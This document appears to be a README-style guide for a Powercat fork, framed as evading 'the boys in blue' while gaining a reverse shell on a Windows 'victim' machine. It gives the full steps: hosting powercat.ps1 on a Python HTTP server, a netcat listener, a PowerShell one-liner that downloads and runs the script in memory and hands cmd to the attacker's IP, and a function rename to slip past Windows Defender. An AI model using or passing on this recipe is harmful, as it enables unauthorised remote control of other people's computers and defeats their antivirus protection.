A guide to evade the boys in blue when acquiring a reverse shell on Windows using Powercat v2

This guide allows you to acquire a reverse shell while bypassing anti-virus software on a Windows computer using a single Powershell script.

Powercat is essentially the powershell version of netcat. It is a network utility for performing low-privilege network communication operations that makes use of native PowerShell version 2 components.

Clone this repository and change the working directory

git clone https://github.com/rexpository/powercat-v2.0.git
cd powercat-v2.0

Start a Python HTTP server on a port of your choice (e.g., 70) for the victim to access the script

python -m SimpleHTTPServer 70

Start a Netcat listener on a port of your choice (e.g., 5555) for obtaining a reverse connection

sudo apt-get install netcat
nc -lp 5555

On your Windows victim machine, run the following Powershell command inside the command prompt (CMD).

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://YOURIP:70/powercat.ps1');powerrcatt -c YOURIP -p 5555 -e cmd"

Note: YOURIP should be your host's local IP address (Linux IP address); make sure to replace ports 70 and 5555 in the command with your own configurations.

You will obtain a reverse shell in the Netcat listener once the command is executed. To check what account type you're logged into, use the command whoami.

For the time being, if the powershell script is detected as malware by Windows Defender or other anti-virus software, this issue can be resolved by changing the name of the powerrcatt function.

Open up powercat.ps1 with ur favorite text editor and change the name of the function powerrcatt to whatever you would like (e.g., powerrrrcat)

Original script:

function powerrcatt
{
  param(
    [alias("Client")][string]$c="",
    [alias("Listen")][switch]$l=$False,
    ...

Updated script:

function powerrrrcat
{
  param(
    [alias("Client")][string]$c="",
    [alias("Listen")][switch]$l=$False,
    ...

Make sure that you update the powershell command from earlier to reflect these changes:

Original command:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://YOURIP:70/powercat.ps1');powerrcatt -c YOURIP -p 5555 -e cmd"

Updated command:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://YOURIP:70/powercat.ps1');powerrrrcat -c YOURIP -p 5555 -e cmd"

• Credits to @besimorhino for developing powercat
• Check out the official documentation here: https://github.com/besimorhino/powercat